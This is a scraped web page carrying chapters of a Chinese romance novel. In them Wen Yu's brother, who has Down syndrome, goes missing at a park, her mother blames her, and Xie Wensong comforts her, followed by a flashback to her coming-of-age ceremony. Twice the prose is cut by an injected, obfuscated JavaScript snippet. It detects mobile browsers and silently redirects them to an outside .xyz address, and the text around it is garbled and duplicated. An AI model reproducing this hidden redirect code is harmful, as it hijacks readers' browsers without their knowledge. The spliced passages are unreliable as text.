指尖无意识抠着塑料手机壳的边缘,台上演员连同台下观众无一不陷入在热闹的氛围里,温遇抬头看见头上被虚拟灯光投射出的立体影像,兀自发着呆。 坐在最里面的温途,位置他们四个人里最好的,他也被这不多见的景象震撼,高高伸出手触碰那真实的虚拟,高兴得一直在笑。 舞台音响放着节奏紧凑音调欢快的音乐,人偶跟随音乐舞动,在场有不少小孩子,情绪一旦被带动起来,气氛就像火星子被噌的一下燃亮。 燃得太亮,连身边人都被带起来。 温遇偏头,看见同样笑容满面的徐翩禾,不着痕迹挪开自己隐晦的视线。 满目暖色调的光束中,她忽然想起刚才那个只凭模模糊糊一眼就觉得像的身影,像是被这股光芒刺得眼太痛,温遇默默低下头,将手机再次解锁。 流畅点进和谢闻颂的聊天框,温遇想了想还是发过去一条消息。 小鱼丸了:我刚才看见有个人的身影很像你。 腹稿早就在预先有过设定,谢闻颂如果看到她这句话,必然会以闪电一般的速度问她一堆问题,围绕着“像”这个字展开。 不过这是她鲜少没猜对的时候。 那边的谢闻颂出乎意料平静:那他衣品还不错,能让你觉得像我。 温遇被这条回复给整不会了。 又憋又酝酿了半天,她暗戳戳回:你也太自恋了。 虽然嘴上硬回去,温遇不得不承认,看见他这条回复确实有让自己弯起唇角的能力,甚至连对方臭屁的表情都能预知到,稍微缓了缓刚才不太顺畅的心情。 小鱼丸了:我们今晚去吃什么? Bigboss:你不是之前和我分享过一家想吃的火锅店吗? 温遇看到这,打字的手稍微迟疑。 她有点想不起来谢闻颂说的具体是哪天了。 对面某人猜到她突然不说话的原因,自动帮她找好台阶下。 Bigboss:2月18号晚上九点三十七分,你在某音艾特我的那一条。 他说到具体,温遇打开app查看记录才想起来。 当时是看她一个很喜欢的美食博主探店,那天她刚好晚上吃的少,缩在被窝里看的时候馋得眼冒金星。 原本只是想拉另外一个人陪她一起当馋虫,便直接艾特列表最前面的那一个。 她以为谢闻颂不看某音的。 有这部分原因,所以她艾特他的时候没什么负罪感。 毕竟这人除了微信,剩下的各个社交平台基本都用的是系统自带的灰头像,以及标准的乱码名字。 温遇第一次找他交换社交软件的时候,差点以为他的号被谁盗了。 毕竟这么人机的搭配,分享什么感觉都差点人情味。 不过那时候温遇还没有将吐槽摆在明面上,只当他是不怎么经营这些社交软件才懒得改。 没想到她饿极随手分享的一条视频,谢闻颂都记得。 心情好像从刚刚的复杂变成现在的微妙。 又微妙地泛起点甜。 心口有一团温热的火苗越烧越旺,仿佛有什么东西在那里生根滋长。 她低头打字,下眼睑酸酸的。 小鱼丸了:我还以为你没看见。 对面照旧是秒回。 Bigboss:你发的消息,我什么时候没看。 问句模式,句号结尾。 仍旧表肯定。 这人怎么动不动就说不自觉的情话。 温遇感觉脸在发烫。 小鱼丸了:别太犯规。 谢闻颂优哉游哉继续输出:这才哪到哪? 这话的意思是他还收着了。 温遇有点无奈,不过心头更多的是丝丝缕缕漫开的甜。 不浓厚,只有淡淡回甘。 点到即止,恰到好处。 唇边那抹笑一直没落,直至旁边的徐翩禾都察觉到,拍了拍她的手臂。 温遇默不作声敛笑熄掉手机,偏头对上徐翩禾略带深意的目光。 “你是不是交男朋友了?” 没有前摇的一句话戳中内心,温遇一时语塞,手里将已经黑掉的屏幕反扣在裙面。 她一向不太擅长撒谎这件事,所以一般被父母说中的事,她只用沉默替代。 徐翩禾看她这副模样还有什么不明白的,蹙起眉,略有些责怪的语气传来:“谈男朋友了也没和我和你爸说?你外婆知道吗?” 唐熹自然是不知道的,她和谢闻颂成为现在关系时已经从余杭回到南川 目前除了他们两个人,其他人都还不知道这件事。 毕竟周围人都没怎么会把他们两个人往一块想。 顶着“青梅竹马”的标签这么多年,他们肯定以为要是在一起早就在一起了。 多少年了,两个人之间一点朋友以外的动静都没有。 明明有很多个可以在一起的机会,若是有苗头的话也早会发生。 怎么会等到现在。 温遇在想谢闻颂是不是也是这样以为的。 她抿了抿嘴唇,然后答:“不知道。” “如果我不问你,你是不是打算一直瞒着我和你爸?” 徐翩禾声音比刚才大了点,温遇明显感觉坐在正前方的一对情侣闻声回头往她这边看。 登时,她的呼吸像弦一样绷紧。 这样更多掺着看热闹的目光就算轻如薄烟,也是有存在感的。 这样盛满众人兴奋和欢呼的热浪里并不适合她久居。 有些炽热到短暂窒息。 刚和谢闻颂聊天调理好的情绪此刻又被打乱,温遇并不喜欢这种逼问的语气。 她直直迎上徐翩禾的目光:“我想说的时候自然会说。” “这是我的事。”她顿了顿,补上后半句话。 说完这两句话,温遇重新将目光归到自己的手机背板。 从小到大,她很少用这样硬邦邦的语气和父母对话,以至于冷不丁这样,温遇竟也有些不太敢看徐翩禾的表情。 “你这孩子——” 徐翩禾看她半拢在光影里的侧脸,想起刚才她和温成钢说的话,也不知道温遇怎么突然变成这样。 疏离冷漠,仿佛她再怎么往回拽也拉不回来。 温遇也不知道自己刚才是怎么了,失控情绪向下俯冲,从原本织得很密一张网漏下一个角,和过去无数个很难过的瞬间一起同时刺穿她的心脏。 她不太想回忆过去。 因为那些记忆并不算美好。 她难过的从来都是自己已经足够体谅一些对待自己的不公平,可是却很少有被理解的那一刻。 心总是受冷,就会变得脆弱易碎。 所以为了不再徒生裂痕,只能选择冰冻封存。 温遇认为自己已经很努力地在稳定情绪,可是同等对值并不存在绝对理解。 或许越亲密的人,伤害身边的人时,才越不自知。 温遇不想自己也成为这样的人,所以她在说每句话、做每件事前,都习惯用思考作为首页。 所以这也是她看起来乖的一部分原因。 不过她本质却叛逆得很。 可这样人人都有的伪装,总是能被谢闻颂参透。 他真的太了解她。 哪怕只是一个表情包,她甚至什么话还没说,齿轮未完全咬合的情绪就被谢闻颂轻松捕捉。 性格相似的人总是适合做朋友,而性格互补的人更适合做伴侣。 温遇认真想了想,按照这个道理,他们的确更适合成为现在的关系。 只是她总感觉自己和谢闻颂距离真正在一起还差点什么。 就是因为摸不准这一点,所以温遇总是差一步迈出去。 于是每次谢闻颂靠近的时候,她紧张之余,还有种下意识的逃避。 所需要的时间也是想将逃避彻底消灭掉。 可若是真的做不成情侣—— 温遇想到这,突然不知道该怎么往下延伸后面预设的剧情。 如果最终他们并不如期待中成为的关系,那或许会不会连朋友都做不下去。 本来是阻止自己继续想令人难过的事,可不知不觉又扯到了谢闻颂身上。 看来这人身上真有魔法啊。 温遇抬手,无意识用指尖蹭了下脸。 像发烧一样烫。 - 男朋友的话题没再继续提,四个人走出剧院的时候,温途拉着温成钢的手咿咿呀呀说着什么。 男孩双颊泛红,眼里仿佛闪烁着细碎的星星,一边说还一边用手比划。 个别咬字咬不清楚,句子连不到一起,只能勉强拼凑出意思。 这也难掩他真的很喜欢这里。 温遇双手揣在大衣兜里,默默往上拉了拉围巾,刚好遮住下巴颏儿。 时间还早,温途在园区内设置的立体人偶旁边停驻,他想拍照,温成钢和徐翩禾自然也乐意给他拍。 温途拍了几张,突然从镜头里走开,在镜头的另一侧拉住温遇的手。 这是想和她一起拍的意思。 他的手很热,只是因为唐氏病折磨得有些偏瘦,温途手上的骨头她无需太用力握就能感觉到,温遇被他拉到人偶雕塑前,两个人肩并肩站在一起。 少年还是要比她矮一些,略显苍白的脸让原本的五官降色,两个人面庞的几分肖似,终究是血脉抹不去存在。 照片定格,徐翩禾发了一份给温遇。 她打开手机,给保存下来。 徐翩禾瞥见温遇正在看手机屏幕上她和温途的合照,想起自己把她喊来的最主要的原因。 “温温啊,你带小途去买刚才没吃到的小蛋糕吧,他刚才说想吃。” 午饭过后,温途路过一次甜品屋,看见漂亮的小蛋糕没挪开脚,只是那会儿刚吃完饭,徐翩禾怕他吃多不消化,就说等会再给他买。 在园区转了一圈又回到甜品屋,徐翩禾想着是让温遇带他去买,两个人还可以说说话什么的。 “好。” 徐翩禾转身,和正跟爸爸闹着的温途说姐姐要带他去买小蛋糕。 小少年开心得更合不拢嘴,一路小跑凑到温遇身边,本来想和刚才一样拉她的手,想想还是先扯住了她外套的袖口。 温遇看见他的小动作,主动伸出了手。温途愣了几秒,指腹搭在她的手心。 甜品屋的人挺多,两个人站在队伍的最后,几乎要将整个门口全都堵上。所以从他们身后穿行的人多多少少要蹭过他们的衣服。 温遇蹙起眉,感觉掌心的另外只手有些冰,她低头看温途,发现他脸有点白。 温途这种情况是不适合在人多的地方呆着的,徐翩禾因为他们姐弟很久没见,所以总想留给他们单独相处的时光。 可—— 感觉到姐姐握得紧了些,温途抬头,露出一个笑。 温遇正要给徐翩禾拨电话,让她先把温途从店里带出去,等她买好再去与他们会合。结果刚好前面的人买完东西,店员立刻问她需要什么。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14479875|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>后面还有人在催,温遇只得迅速买了几份小蛋糕,她下意识用空出来的手摸同侧的衣兜,并没找到手机。 温遇只好先松开拉着温途的手,在另一侧摸出手机付款。 精致的纸袋被她勾住,温遇侧头往边上看,根本没看见温途的身影。 她脑袋倏地一白,在周围喊他的名字。 只是以温途的身高,混在周围的人堆里并不显眼,后面有人往旁边推了温遇一把,不过力道不重,她急着找温途,便也没注意。 温遇被推得趔趄一下,继续在嘈杂的人堆里喊温途的名字。 没有任何反馈,她努力保持冷静,又连忙走到站在门口的店员位置,问他们有没有看到刚才和她一起进来的男孩,穿着深蓝色棉服和黑色休闲裤。 可是店里来来往往人那么多,他们又怎么可能记清楚。 彼时徐翩禾正和温成钢往这边走,结果刚走到门口就听见温遇的这句问话。 徐翩禾当时脸色就白了,上前拉住温遇的手腕,攥得很用力。 “弟弟呢?” “我刚才付款的时候松了下他的手——” 徐翩禾气息都乱了,听见温遇说到这还有什么不明白的,眼圈一下子就红了,眼里迅速蓄起的泪也因为着急落下来几滴。 她情绪激动拍温遇的胳膊,一边又赶紧往外推着温成钢:“别愣着了,快去找啊,赶紧去找啊。” “快去啊,不管是广播寻人启事还是调监控。” 温成钢意识到事情的严重性,也变了脸色,赶紧找离这里最近位置的安保人员问询,徐翩禾则再次拉着温遇回到甜品屋,重新问刚才站在门口的店员。 店里人多,他们也忙得焦头烂额,说现在还给他们调不了监控,要等上面的通知才能给调。 可现在已经过去了将近二十分钟,还是没有温途的消息,徐翩禾的情绪处在崩溃边缘,借着抓住温遇的手,才没有瘫坐在地上。 “你弟弟生病不了大刺激,你刚才为什么没握紧他的手?” 徐翩禾泪眼婆娑看她:“你就这么讨厌你弟弟吗?讨厌到不愿意拉他的手?” “……” 温遇张了张口,感觉自己一句话也说不出来,刚才还紧紧抓着徐翩禾的手就那么毫无征兆地松了力道,一直处于紧缩状态的心脏最终还是下坠到不见尽头的海里,氧气像镰刀收割麦子一般全部被掌心收束,然后一起从她的心脏里抽走。 缺氧的人,浑身都在疼。 她的第一反应是震惊。 有些话总是在不经意的随口脱出才会代表当事人的想法,温遇再怎样想也没想到自己的妈妈竟然是这样想她的。 她的委屈,她的种种不言,徐翩禾真的不明白吗? 她真的不知道自己为什么有这样一长段时间没回过家? 她真的不知道在别的孩子都在和父母撒娇讨关心时,她为什么选择用沉默扮乖代替这一切吗? 不,有些事,不止温遇一个人看得明白。 只是不愿意从源头上解决矛盾的根本罢了。 徐翩禾也知道自己话说太重,只是这样的紧急的时刻也让她没办法拉下脸往回安慰温遇,只能压抑着自己的抽泣声维持沉默。 温遇发觉自己声音很哑:“你一直是这样想的吗?” 徐翩禾还是侧过脸不说一句话。 从刚才他们进来和店员争执的时候就引起不小的动静,温遇打眼一扫,三三两两的游客边往这边看边窃窃私语 她深深吸了口气,把情绪也处于边缘的自己给重新勒回来。 “妈。”她声音很轻。 “你从小看到大的女儿,你会认为她是这样的人吗?” 徐翩禾从刚才说完那句话开始就拒绝和她继续交流,四指并拢擦去从眼角流淌到脸颊的泪,还是没说话。 温遇也偏过脸,眼眶是难以克制地发酸。 泪滴像秤砣,眼眶载不住。 两人准备去找温成钢问情况,一位中年女人走过来伸手拍了拍徐翩禾的肩膀,“外头那是恁的儿子吧?在别的地方被人碰见了,快出去看看嘞,你家男人已经过去了。” “喏,就在那路灯下面,你瞅见没。” 徐翩禾远远望了一眼,像重拾起某种希望,跑着往那边靠近。 温遇没有跑,只是加快步伐跟在她身后,直至越走越近,看见被温成钢紧紧抱在怀里的温途。 少年明显是被吓到了,露出的半张脸比刚才苍白不少,甚至眼里还挂着泪,嘴唇也跟着肩膀在抖。 是典型的病情发作引起的应激反应。 唐氏综合征的很大一部分表现在面容特征和智力水平的差异上,温途的面部症状并不算明显,只是如果不被保护好,会很容易受到外界的影响,从而让病情加重。 这也是他们很少带温途去人多地方的原因。 温父温母也不会想到,等到温途情况好许多才带他来一次的地方,竟也出了意外。 意外已经发生,他们也没办法考虑太多,温成钢和徐翩禾赶紧带温途去医院,只留温遇一个人在游乐场。 周围热闹如初,温遇形单影只站在岔路口,只觉得风有些冷。 冷到有点想回家了。 她仰头看向已经走向暮色的天空,越看眼睛越是发酸。 温遇逆着人潮穿行,不知道该往哪里走,又或许对于她来说,此刻往哪里走都是一样的。 往哪边走都在下雨。 她的眼睛也在下雨。 她的整个世界都在下雨。 为什么又是雨天。 垃圾桶旁边设了张长椅,温遇走得有点累,弯下腿坐在上面,椅面冰凉的彻底,她没忍住被凉得闭了闭眼,伸手猛地将围巾拉到眼下,才没克制住肩膀的颤抖。 眼泪永远比情绪来得要快,温遇用围巾试图将自己最后一点和空气接触的部分给隔离开。 也是在这一刻, 她意识到懂事并不会成为别人心疼的理由,会哭会闹的孩子才会有糖吃。 很久不触碰的位置,冷不丁被扎进去,也是会疼的。 她也不想想象中那般什么都不在意。 睫毛沾染的泪水在毛绒围巾上洇湿了一小块粘在脸上,温遇刚想抬手把围巾往下拉点,手却被人轻轻握住。 突如其来的触感有些吓到她,温遇睁开眼,看清来人的面孔—— 一秒,两秒。 熟悉到让她有些恍然。 温遇所有刚才强忍的酸涩直冲天灵盖,最猛烈的一股在眼眶里蓄满然后倾盆坠落。 谢闻颂只是看着她,不解释自己为什么出现在这里。 也不解释自己是怎么像变魔法一样精准在人潮里找到她,然后握紧她的手。 答案或许并不难猜。 温遇想起刚才在花车另一侧看到的身影,和他从来没否认过自己来这里的示意。 原来他的跟随如此沉默。 沉默到总是被她忽略。 一路的喜欢他都以这种形式呈现在她眼前。 可她却始终没往后看过。 谢闻颂伸手刮了下她的刘海。 “饿不饿?” “我们去吃饭,好不好。” 原来不是她的错觉。 而是谢闻颂真的来了。 带着能修补她世界的魔法来了。 49.荔枝 49/ 温遇坐在长椅上,看着蹲在自己身前的人,他问自己要不要去吃饭的时候,好像回到几年前的某一个夏夜。 一样的熟悉,一样的让人心弦颤动。 她其实没有忘记,只是短暂地将其搁在时光之间,看似已经被忘记。 实则在某些时候,记忆被谁都清晰。 那时的谢闻颂也是这样蹲在悄悄流眼泪的她面前,只是普普通通一句话,就能让她流眼泪流得更凶。 不是因为他的话太令自己难过。 而是有些人本身的细腻能融化所有冰冷的雨,然后变成流淌的温热,像星环缭绕那颗滚烫的心脏。 温遇想起几年前的高三成人礼。 因为当年的疫情原因,南川附中的成人礼延迟在高考结束之后办。 高考之后,温遇难得过了一段高中三年里最轻松最快乐的时光。 那时候熬到后半夜打游戏,每天过着恨不得一点一线的单调日子,空虚过头到最后连游戏都打到没意思,温遇冷落了switch好一段时间。 某天晚上正一个人躺在床上漫无目的地刷手机,程以桉一个视频电话打过来,边敷面膜边问她成人礼要穿的裙子有没有准备好。 “……!” 几天昼夜颠倒,脑子都慢一拍的温遇猛然想起这件事,伸手拍了下脑门:“忘了——” 程以桉给了她一个“还得是我”的眼神,悠悠道:“明天要不要一起去商场?正好我也还没买。” “行。” 温遇整个人呈“大”字形躺在床上,揉了把乱糟糟的头发,一副懒倦到极致的模样。 程以桉啧了声:“你这几天都干啥了?困成这样。” “咋,几天没见成特困户了?” “……” 温遇表示这句谐音梗必须扣钱。 “熬夜人的快乐你不懂。” 温遇伸出食指摇了摇,跟没骨头似的将整张脸都埋进鹅绒枕头里。 和她“虚度光阴”不同的是,程以桉立下决心,势必要在这个暑假把她高三冲刺那会儿亏损的精力全都补回来。 于是她每天早睡早起,有时候兴致来了直接溜达到公园和老爷爷奶奶一起打太极。 等程以桉运动几件套结束,回到家都洗完澡,温遇才刚刚起床。 完全处于两个时差。 温遇甚至还得再在被窝里磨蹭三十分钟。 和程以桉一起选裙子那天,是她近一周起得最早的时候。 成人礼可以穿自己准备的衣服,毕竟每个女孩的十八岁都只有一次,临近毕业,脱下校服之后穿上的第一件新的裙子,有着独特的意义。 一向在选衣服上佛系的温遇这次也认真起来,和程以桉在商场走断腿,只为找到一条自己喜欢的裙子。 晚上八点,温遇提着装衣服的纸袋,心满意足回到家,她正在微信里和程以桉打赌谁今天的微信步数多,刚换完鞋,看见温途和徐翩禾正在客厅里堆积木。 电视里开着帮助唐宝宝恢复的益智视频,温遇没出声。 一楼有很大一面穿衣镜,温遇把手提袋放在茶几上,打算上楼换身衣服再下来重新试明天要穿的裙子。 换好衣服正要下楼,温遇接了个电话稍微耽搁了几分钟。 刚从楼上下来,就见她的衣服袋子被徐翩禾拎过来,她双手分别提着纸袋的两根绳,目光看她一眼,又移到纸袋里面。 心跳倏然快了几拍,温遇涌上来一股不太好的预感。 她走快两步视线下落,看到纸袋里已经被一团黄色打湿的裙子。 “刚才你放在茶几上,薛姨端果汁的时候不小心洒到了,你看能不能洗——” 温遇愣了好几秒才重新找回自己的声音,艰难出声:“可这是我给成人礼买的裙子,导购说只能干洗。” “你什么时候成人礼?” “……” “明天。” 温遇原本想先干洗好,等到成人礼那天换上,结果时间实在是太紧张,应该没办法在礼前,再干洗一次,于是只能先把裙子挑好,至少别耽误流程。 可现在这个点,干洗店也已经关门,衣服脏成这样,肯定是没办法在成人礼上穿了。 温遇也没想到自己就上去一会儿的时间还能出意外,顿时觉得脑袋都大了一圈。 徐翩禾沉默两秒,示意她把自己手里的纸袋接过去。 “你要不从柜子里找一条,或者去我那边看看有没有你能穿的。” 刚照顾完温途喝果汁的薛姨走过来,有些无措地在身前的衣服上擦了下手上的水珠:“小遇啊,实在对不住,刚才是我端果汁的时候没注意,这条裙子多少钱,我掏钱赔给你吧。” “这……” 温遇沉默地看着袋子里已经脏掉的裙子,不发一言。 丝带挂绳勒在掌心,生涩刮擦皮肤。 明明这件事她比谁都不好受,可仿佛她才应该是那个最应该表现得无所谓的人。 徐翩禾就着她的手将裙摆提起一个角,材质细腻的欧根纱被果汁打湿的位置还没完全干,黏在手上的感觉丧失原本的精致。 确实没办法穿了。 现在送干洗店也没办法赶上明天的成人礼。 她看了眼已经在家里工作了好几年的薛姨,声音温和:“你去忙吧,我和温温说。” 薛姨为难地看了眼温遇,朝着徐翩禾诶了一声退开。 “裙子多少钱?一会我给你转。”徐翩禾抬手顺了顺温遇的长发,单手搂住她的肩膀:“再出去买一件?” 温遇感觉挡在脸侧的长发被女人用手勾到了耳后,她用柔软温热的掌心裹住她的手背,缓而柔的声音像在哄孩子。 如果不是前情不对,她会以为她们是亲密无间的母女俩在说悄悄话。 温遇张了张嘴,声音还没发出来,刚才离开的薛姨脚步加快走到徐翩禾旁边:“夫人——” 薛姨想起刚才发生的事,估计这会儿过来会打扰她们,只是她不过来又不行。 “我刚才摸小途脑门有点烫,量了个体温,三十七度六。” “我去看看。” 徐翩禾声音立刻就变了,焦急着就要往温途的房间里走,刚往外迈出两步又回头,想起还留在原地的温遇,仓促轻轻碰了下女孩的刘海。 “我一会儿就给你转钱,把裙子买好,明天开开心心参加成人礼啊。” 她说完便和薛姨急急忙忙上二楼,温遇站在原地愣了会,一个人提着纸袋上楼走回自己的房间,再下来的时候发现徐翩禾已经带温途去医院了。 开心。 到底应该怎么开心。 房子里任何响动都没有,她身体发木地坐在客厅里,抬头看了眼墙上的挂钟,十点已过。 她刚才上楼试图清理裙摆上的脏污,看能不能用别的方法处理掉,结果橙色的痕迹实在难洗,白色欧根纱连着下面的裙衬全都脏掉,面积大到根本没办法遮挡。 确实没办法了。 温遇又翻了遍自己的衣柜,长裙也不是没有,只是要么已经不合身,要么是徐翩禾给她买的,她并不太喜欢的款式。 这些衣服全都被她放在压箱底的地方,所以等她翻完这些衣服,整个人气喘吁吁地仰躺在床上。 口干舌燥,温遇准备下来倒杯冰镇果汁。 一下楼,又只剩下她一个人。 果汁瓶口卡在玻璃杯沿,她发现自己身上一点劲也没有。 随手拿一个抱枕抱在怀里,温遇将自己整张脸都埋进去,又重又慢地吐气,仿佛把胸腔中的全部情绪都排到外面。 不知道将脸埋在抱枕多久,鼻腔连着眼眶开始发酸,温遇没忍住从肩膀开始发抖,枕套的布料被洇湿一小块,她把脸从抱枕上拿开,才发现面前不知不觉站了个人。 温遇被吓一跳,原本在喉咙的啜泣都直接憋回去,声音被气带着冲出来,听上去有些哑。 “你——” 谢闻颂明显是在这已经站了一会儿,黑瞳一眨不眨盯着她,看得人心底发慌。 温遇连忙用袖口装作不经意拭了下眼泪,语气有些急促:“你什么时候来的?” 她情绪还没平复过去,不满道:“你怎么还喜欢看人哭啊。” “门口刘叔开门让我进来的,他正好要送徐姨去医院。” 谢闻颂的话有所保留,温遇垂眼,没去看他脸上的表情:“温途发烧了。” “嗯,我知道。” 谢闻颂顿了下,话题接上刚才温遇说看她哭的时候:“我进来的时候,你还没哭。” “抱歉,不是故意不和你说的。” “……噢。” 谢闻颂一本正经道完歉,又往前走两步,蹲在温遇面前。 “所以,为什么哭?” 温遇被他突然的举动吓了一跳,整个人带着上身往沙发背上靠,流过泪水的眼睛,此刻正愣愣地看着他。 “为什么哭?” 谢闻颂唇角弯起一个很浅的弧度:“说出来看看,我能不能帮你解决?” “既然你的眼泪都被我看到了。” “不会让你的眼泪白流的。” 温遇双手食指压着眼角,却还是没忍住在谢闻颂这句话出来的时候酸涩上涌,为了克制情绪,只能努力将唇角向下压。 温遇最后把裙子脏掉的事告诉他。 谢闻颂听后稍微想想,站起身从兜里拿出手机,给谢景舟打了个电话。 温遇不知道他要做什么,只能搂着抱枕维持沉默,心里却生出一丝期盼地看着他。 谢闻颂自然没错过她压抑着期待的眼神,边接电话,手指像拨弄琴弦一般从她薄薄的一层刘海上划过,轻柔又爱怜地触碰,实则是克制无数次偶尔一两点的心动泄露。 谢闻颂很快结束电话,看了眼还在等自己的温遇:“走吧,我们去拿明天要穿的衣服。” 温遇注意到时间已经逼近十一点,又犹豫道:“可是这个点基本所有店都已经关了。” “我刚给我爸打电话,他说他有认识的人在南川开礼服店,虽然现在已经不对外售卖,但是可以租借。” “要不要去?”谢闻颂听温遇的意见。 “去。”温遇认真看着他的眼睛,“我去换件衣服。” 谢闻颂让家里的司机带他们去谢景舟给的位置。 是一家私人定制的礼裙店,温遇刚从车上下来的时候,店里除了门口的光亮,里面一片黑沉沉。 谢闻颂走在她前面,不过半步的距离,一进去便看见有人靠在门口的台子上,正翻看手里的册子。 妆容精致的女人看见他们进来,弯起红唇主动问:“你是?” “谢闻颂。” “您好。” 他从去温遇家里就一直穿着校服,已经很晚了,他额发安顺垂下,宽大的校服虚拢着他的清瘦,即便如此,他的半边肩膀还是挡在温遇身前。 很让人有安全的动作。 更是一种从小到大养成的习惯。 “嗯,我知道了。”店长看了眼他身后的女孩,“姑娘,来挑衣服吧。看看你喜欢哪件?” 她说着,抬手用遥控器打开店里的灯。 温遇说了句谢谢,走了两步跨到谢闻颂的面前,又回头看他。 “去吧。” 暖黄色的灯打在谢闻颂的脸上,灯是从前到后打开的,每亮一分,就能将他的眉眼照得更清楚。 温遇往上抬眼。 心尖像被火苗燎了下。 “快去。”谢闻颂知道她在想什么,于是又轻声说了句,温遇这才跟着店长往里走。 她最后挑了件一字肩的浅粉色纱裙,试穿的时候腰稍微有点些松,裙摆下垂的长度一直到脚腕,和她去商场买的那件差不多长。 拿到衣服往外走的时候,谢闻颂双手环在胸前正靠在椅背上,头微微下垂,像在小憩。 不过他明显没睡,听见声音睁开眼,稍微活动肩膀:“挑好了?” “挑好了。” “那我们走吧。”谢闻颂看向跟来的店长:“今天谢谢您了。” “没事。”她略带深意的眼神在他俩之间稍作逡巡,最后停留在温遇的身上:“成人快乐。” …… 温遇一觉一直睡到闹钟响,比平时起得要早些,打算提前把妆画好再去学校。 等她提着东西下到一楼,并没有任何听见什么动静。 徐翩禾昨晚应该并没有回来。 温遇从鞋柜里拿出一双她十八岁生日徐翩禾送给她的高跟鞋,想了想还是换上。 皮革底踩上去有点打滑,温遇尝试着走两步,最后还是选择再带一双平底鞋去学校。 旁边的门板被人在外面敲了敲,温遇顺手拧开门,谢闻颂已经站在门口,熟悉的黑色绣花渔夫帽戴在头上。 他根本没穿正装,甚至就是平时的日常穿搭,上衣还是和帽子同色的T恤,锁线工装裤也是黑色。 温遇看了眼自己身上的浅色裙子。 早晨稍微有点冷,她披了件白色的外套,纱裙露肩,只穿一件肯定会冷。 不知是不是她的错觉,谢闻颂意识到一黑一白的他们,似乎笑了下。 “很漂亮。” 温遇抿唇,有些不好意思:“你也是。” 谢闻颂和她一起出门,他走得并不快,却还是意识到什么往后看。 刚巧对上温遇有些烦恼的眼神。 谢闻颂和她一起坐在后排。 “脚受伤了?” “没有。” 温遇将裙摆往上提了提,露出脚上的碎钻高跟鞋。 她垂头,脸侧边好的发辫散落几缕碎发,轻轻拂在晨光里:“就是有点不太适应。” 谢闻颂从裤兜里摸出来几条创可贴递给温遇。 她接过,发现上面印着Hello Kitty,美乐蒂和大耳狗。 可爱到似乎和谢闻颂并不沾边,温遇愣了下才问:“这是你买的?” “还是。”她想了想,道出自己的推理:“别的女孩子送给你的?” 明显是在说这么可爱的创可贴,总不可能是他自己的买的。 “不要还给我。”谢闻颂面无表情朝她伸出手,眼神往上抬的那瞬间,是温遇熟悉的感觉。 懒散的,又带点两个人之间的独有的火花,不经意地释放就能点亮彼此。 还挺傲娇的。 “要。”温遇见他真的要拿走,连忙攥紧手心,收到胸前,有点不舍得贴。 谢闻颂看温遇一直用指尖触碰创可贴上的可爱图案:“我自己买的,还有很多。” “噢。”温遇这下没心理负担了,低头把裙摆再次往上提了提,小心将创可贴贴在后脚跟的位置。 认真到脸颊鼓鼓。 谢闻颂原本想说句“笨蛋”,结果还是忍住了。 谁让她绑头发的蝴蝶结太可爱了。 谢闻颂支起下巴看窗外,无声勾起唇角,他真是在心里还要嘴硬一下—— 好吧,其实他想说的是公主更可爱。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14493366|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 在心里嘴硬的后果是,最终犟不过自己。 要把正确答案在心底念一遍。 …… 到学校之后要先在班里集合,温遇到的时候,班里基本三分之二的人都来了,刚进来就感觉很多束目光落到她身上。 温遇坐在靠窗户第三排,刚把手里的东西放下,身边围上来几个平时熟悉的同学。 坐在她后排的女生哇哦一声:“温遇,你今天好漂亮。” “你的妆是自己画的吗?可以一会帮我画一个吗?” 温遇回:“可以呀。” 谢闻颂站在楼道玻璃外,轻易捕捉她陷在阳光里的那抹笑容,突然有点不太想挪开自己的脚步。 文理分科后他和温遇被分开到两个楼,他来文科楼的次数不多,今天因为有时间便一直跟着温遇到他们班。 他没停顿多久,只是在想有时候喜欢一个人太久,连眼神都变成一种守护。 成人礼开始之前,程以桉拉着温遇补腮红,女孩子之间的话题可以聊到很远,直到班主任进来说准备下去的时候她们才分开。 温遇坐回位置上,手机里已经存了几条消息。 是徐翩禾发来的,问她衣服的事又没有解决。 温遇回复已经解决了,想想还是问下温途的情况。 得知他没事,温遇回了句好,两人的聊天戛然而止,她有些不知情绪地看了眼窗外。 后排的女生拍了下她的肩膀:“要下去了,温遇。” “好。” 窗外天蓝云薄,温遇想,她真的要长大了。 成人礼开始之前按照惯例要先进行校长讲话,温遇站在最后一排,穿着高跟鞋的脚腕已经开始发酸。 她低头叹了口气,正准备把手机摸出来,屏幕自动亮起,显示消息弹出。 【隔着老远都能听见你叹气声了。】 ?! 温遇谨慎地敲了眼四周,和同站在最后一排的某人相隔二十米对望。 这个距离不太能看清谢闻颂的表情,不过肯定的是,这人一直在看她。 小鱼丸了:你不再看看稿子?毕竟一会儿要上去讲话的人。 谢闻颂早在半个月前就被安排到在成人礼上讲话,这事温遇还是听同学讨论才知道的。 【没有稿子。】 小鱼丸了:果然学霸都靠临场发挥。 对方回她一个句号。 温遇没忍住笑出声。 其实谢闻颂当天发言的内容温遇已经记得不是那么清楚了,她印象深刻的是他下台前的最后一句话。 他说。 【愿天气都好,理想长鸣。】 是很好的一句话。 不然她也不会记到现在,仍旧印象深刻。 校长和老师学生代表讲话之后,大家就可以按照自己的安排在成人门和校园其他地方拍照。 加上今天是开放日,所以有不少家长也一起来参加活动。 温遇听见有好几位家长问自家孩子刚才在台上讲话的人是谁。 熟悉的名字飘在耳畔。 